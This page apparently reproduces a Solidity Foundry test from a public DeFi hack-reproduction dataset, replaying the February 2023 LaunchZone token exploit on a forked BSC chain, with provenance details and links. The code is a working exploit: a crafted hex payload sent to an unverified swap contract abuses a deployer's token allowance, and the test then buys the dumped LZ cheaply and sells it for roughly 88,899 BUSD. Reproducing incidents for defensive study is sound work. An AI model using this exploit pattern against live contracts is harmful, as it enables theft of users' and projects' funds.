Public reproduction file
src/test/2023-02/LaunchZone_exp.sol
Public reproduction file for dataset entry - LaunchZone.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.13;4import "forge-std/Test.sol";6// analysis7// https://blog.verichains.io/p/analyzing-the-lz-token-hack8// https://twitter.com/immunefi/status/16302109013609512969// https://bscscan.com/tx/0xaee8ef10ac816834cd7026ec34f35bdde568191fe2fa67724fcf2739e48c3cae exploit tx11// reponse12// https://twitter.com/launchzoneann/status/163153825342491852814// contracts to study15// https://bscscan.com/address/0x0ccee62efec983f3ec4bad3247153009fb483551 proxy for implementation (verified)16// https://bscscan.com/address/0x6D8981847Eb3cc2234179d0F0e72F6b6b2421a01 implementation (unverified)17// https://bscscan.com/address/0x1c2b102f22c08694eee5b1f45e7973b6eaca3e92 attacker contract19interface UniRouterLike {20 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;22 function swapExactTokensForTokens(23 uint256 amountIn,24 uint256 amountOutMin,25 address[] calldata path,26 address to,27 uint256 deadline28 ) external returns (uint256[] memory amounts);30 function getAmountsOut(31 uint256 amountIn,32 address[] calldata path33 ) external view returns (uint256[] memory amounts);34}36interface ERC20Like {37 function transfer(address to, uint256 amount) external returns (bool);39 function balanceOf(40 address account41 ) external view returns (uint256);43 function approve(address spender, uint256 amount) external returns (bool);45 function transferFrom(address from, address to, uint256 amount) external returns (bool);47 function allowance(address owner, address spender) external view returns (uint256);48}50contract LaunchZoneExploit is Test {51 ERC20Like LZ;52 ERC20Like BUSD;53 ERC20Like BISWAPPair;54 UniRouterLike BISWAPRouter;55 UniRouterLike pancackeRouter;57 address immutable BscexDeployer = 0xdad254728A37D1E80C21AFae688C64d0383cc307;58 address immutable attacker = 0x1C2B102f22c08694EEe5B1f45E7973b6EACA3e92;60 address immutable swapXImp = 0x6D8981847Eb3cc2234179d0F0e72F6b6b2421a01; // unverified62 function setUp() public {63 // select and fork bsc at 2602442064 vm.createSelectFork("bsc", 26_024_420 - 1); // previous block so still there is fund65 LZ = ERC20Like(0x3B78458981eB7260d1f781cb8be2CaAC7027DbE2);66 BUSD = ERC20Like(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);67 BISWAPPair = ERC20Like(0xDb821BB482cfDae5D3B1A48EeaD8d2F74678D593);68 BISWAPRouter = UniRouterLike(0x3a6d8cA21D1CF76F653A67577FA0D27453350dD8);69 pancackeRouter = UniRouterLike(0x10ED43C718714eb63d5aA57B78B54704E256024E);71 vm.label(BscexDeployer, "BscexDeployer");73 vm.label(address(LZ), "LZ");74 vm.label(address(BUSD), "BUSD");75 vm.label(address(BISWAPPair), "BISWAP");76 vm.label(address(BISWAPRouter), "BISWAP Router");77 vm.label(attacker, "attacker");78 vm.label(address(this), "thisContract");79 }81 function testExploit() public {82 console.log("Running on BSC at : ", block.number);84 console.log("BscexDeployer LZ Balalnce", LZ.balanceOf(BscexDeployer));85 console.log("LZ allowance to swapXImp", LZ.allowance(BscexDeployer, swapXImp) / 1e18);87 // lazy payload check the previous swapX PoC88 // swapX.call(abi.encodeWithSelector(0x4f1f05bc, swapPath, transferAmount, value, array, victims[i]));89 // calling unverified contract of swapXImp with payload containing swap90 // (bool success, bytes memory returndata) = swapXImpl.call{value: msg.value}(data);92 bytes memory payload =93 hex"4f1f05bc00000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000082da53fc059357f82f9b400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000dad254728a37d1e80c21afae688c64d0383cc30700000000000000000000000000000000000000000000000000000000000000020000000000000000000000003b78458981eb7260d1f781cb8be2caac7027dbe2000000000000000000000000e9e7cea3dedca5984780bafc599bd69add087d5600000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";94 (bool success,) = address(swapXImp).call(payload);95 console.log("Payload delivered", success);97 console.log("BscexDeployer BUSD Balalnce", BUSD.balanceOf(BscexDeployer) / 1e18);99 // give attacker 50 BUSD100 deal(address(BUSD), address(this), 50 * 1e18);102 // get BUSD from attacker103 console.log("attacker BUSD Balalnce", BUSD.balanceOf(address(this)) / 1e18);105 // approve router for 50 BUSD106 BUSD.approve(address(BISWAPRouter), 50 * 1e18);108 //get amount out for BUSD to LZ109 // define path110 address[] memory path = new address[](2);111 path[0] = address(BUSD);112 path[1] = address(LZ);114 uint256[] memory amounts = BISWAPRouter.getAmountsOut(50 * 1e18, path);115 console.log("amounts BUSD/LZ", amounts[0] / 1e18, amounts[1] / 1e18);117 // do the swap118 BISWAPRouter.swapExactTokensForTokens(amounts[0], amounts[1], path, address(this), block.timestamp);120 // at this point attack has 9_886_999 for 50 BUSD121 console.log("attacker LZ Balalnce", LZ.balanceOf(address(this)) / 1e18);123 console.log("attacker BUSD Balalnce", BUSD.balanceOf(address(this)) / 1e18);125 // reverse swap on pancake126 // building a new path127 address[] memory path2 = new address[](2);128 path2[0] = address(LZ);129 path2[1] = address(BUSD);131 // get amount out for LZ to BUSD from pancackeRouter132 uint256[] memory amounts2 = pancackeRouter.getAmountsOut(LZ.balanceOf(address(this)), path2);134 console.log("amounts LZ/BUSD", amounts2[0] / 1e18, amounts2[1] / 1e18);136 // attacker gets 88,899 BUSD for 9,886,999 LZ which bought for 50 BUSD137 // approve pancackeRouter for 9,886,999 LZ138 LZ.approve(address(pancackeRouter), LZ.balanceOf(address(this)));140 // do the swap141 pancackeRouter.swapExactTokensForTokens(amounts2[0], amounts2[1], path2, address(this), block.timestamp);142 // check current BSUSD balance143 console.log("attacker BUSD Balalnce", BUSD.balanceOf(address(this)) / 1e18);144 }145}Analysis
Dataset entry
Public Foundry test for “- LaunchZone” (2023-02-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-02/BonqDAO_exp.solSame month in the dataset · 533 lines
- src/test/2023-02/CowSwap_exp.solSame month in the dataset · 64 lines
- src/test/2023-02/Dexible_exp.solSame month in the dataset · 83 lines
- src/test/2023-02/dForce_exp.solSame month in the dataset · 382 lines
- src/test/2023-02/DYNA_exp.solSame month in the dataset · 132 lines
- src/test/2023-02/EFVault_exp.solSame month in the dataset · 38 lines
- src/test/2023-02/FDP_exp.solSame month in the dataset · 114 lines
- src/test/2023-02/Orion_exp.solSame month in the dataset · 191 lines
- src/test/2023-02/Platypus_exp.solSame month in the dataset · 138 lines
- src/test/2023-02/RevertFinance_exp.solSame month in the dataset · 91 lines
- src/test/2023-02/Sheep_exp.solSame month in the dataset · 72 lines
- src/test/2023-02/USDs_exp.solSame month in the dataset · 51 lines
- src/test/2023-02/Starlink_exp.solSame month in the dataset · 80 lines
- src/test/2023-02/SwapX_exp.solSame month in the dataset · 83 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Reference: https://twitter.com/immunefi/status/1630210901360951296
- Explorer: https://bscscan.com/tx/0xaee8ef10ac816834cd7026ec34f35bdde568191fe2fa67724fcf2739e48c3cae
- Reference: https://twitter.com/launchzoneann/status/1631538253424918528
- Explorer: https://bscscan.com/address/0x0ccee62efec983f3ec4bad3247153009fb483551
- Explorer: https://bscscan.com/address/0x6D8981847Eb3cc2234179d0F0e72F6b6b2421a01
- Explorer: https://bscscan.com/address/0x1c2b102f22c08694eee5b1f45e7973b6eaca3e92
File record
- Name
- LaunchZone
- Path
- src/test/2023-02/LaunchZone_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- b9879fb698f330d00e7428532b540935c4afb606
- Language
- Solidity
- Size
- 146 lines
- Date
- 2023-02-27
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-02/LaunchZone_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob b9879fb698f330d00e7428532b540935c4afb606, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.